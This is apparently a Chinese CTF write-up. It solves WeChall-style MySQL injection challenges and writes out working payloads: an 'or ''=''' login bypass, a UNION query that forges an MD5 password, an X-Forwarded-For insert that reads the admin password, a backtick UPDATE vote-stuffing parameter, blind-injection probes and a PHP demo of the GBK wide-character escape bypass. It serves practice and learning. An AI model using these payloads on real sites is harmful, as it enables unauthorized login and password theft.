这些题是为了准备安恒杯校内个人赛做的,虽然后来还是没做出安恒杯的sql注入(据说只要用sqlmap扫就行?)

MySQL1

基础入门题
username完全无过滤,可以直接去掉密码验证
查询语句

SELECT * FROM users WHERE username='$username' AND password='$password'

构造:

SELECT * FROM users WHERE username='admin' or ''='' AND password='$password'

传说中的万能密码的原理 admin’ or “=’

MySQL2

依然基础题,南邮的平台上遇到过类似的。
先用用户名取出密码,然后比对密码。只要让sql语句返回一个假的密码就OK了。
查询语句:

SELECT * FROM users WHERE username='$username'

构造:

SELECT * FROM users WHERE username='admin' and 1=2 union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'

注意PHP的md5函数得到的是32位小写的md5

The Guestbook

INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', '$message')

ip message都是注入点。
ip好像不太好注入。
message可以注。
构造:

INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '$ip', 'aaa') #')

然而有一个mysql_real_escape_string,会自动转译。搜了一下可以通过宽字符绕过。

例子:

<?php  
    header('Content-Type: text/html; charset=GBK');  
    $input = chr(0xbf) . chr(0x27) . ' OR username = username; /*';  
    $value = addslashes($input);  
    $sql = "SELECT * FROM users WHERE username='{$value}' AND password='123123';";  
  
    echo $value;  
    echo '<br>';  
    echo $sql;  
    echo '<br>';  

chr(0xbf) 和 chr(0x27)相连接, 构成一个双字节字符(0xbf27)… 而0xbf27只是一个人为合成的双字节, 不在GBK编码表里, 也就是说不是一个合法的GBK双字节字符… 系统(mysql)会把这个双字节拆分为2个单字节解析(也就是0xbf和0x27), 而addslashes并不知道它是非法的双字节字符, 单引号的GBK编码就是chr(0x27), 单独使用使addslashes是可以识别的…

然而这个洞已经在mysql5.0.x修复了。。作罢

只能从IP注入了。。上burpsuite,加一个X-Forwarded-For

构造:

INSERT INTO gbook_book VALUES('$playerid', $userid, $time, '127.0.0.1',(select gbu_password from gbook_user where  gbu_name='admin'))#‘, '$message')

其实中间复习了一波sql语句。。但是没搞懂怎么在insert语句里用select的结果。。后来发现加一对括号足以。。。

No Escape

要刷票233333
关键语句:

UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1

构造:

UPDATE noescvotes SET `george`=`george`+100 #`=`george`+1 WHERE id=1

实际的url参数:

?vote_for=george`=`george`%2b111%23

注意url转义

Blinded by the light

目标是获取 an md5 password hash
盲注
关键语句

SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'

'union select '1'#直接可以登陆,然而它要密码。。
'or'1'='1'#正确的情况
'or'1'='2'#错误的情况
'or password=password#
发现生成的hash只有ABCDEF0123456789这些字符,就是一个32位的16进制的数
'or password=0#正确。。
弃治看题解。。
题解提到了一个sql函数substring。。
于是去补了一通sql函数

CONCAT( 字串1, 字串2, 字串3, ...)  
SUBSTR (str, pos, len) 
SUBSTR (str, pos)
TRIM()
Length (str)
REPLACE (Region_Name, 'ast', 'astern')

#是个很不靠谱的注释符号
还是用--比较好

最后的解法是二分猜解
解题代码直接看乌云的题解吧。。。

参考资料

MySQL注入技巧_乌云
wechall mysql关卡题解_乌云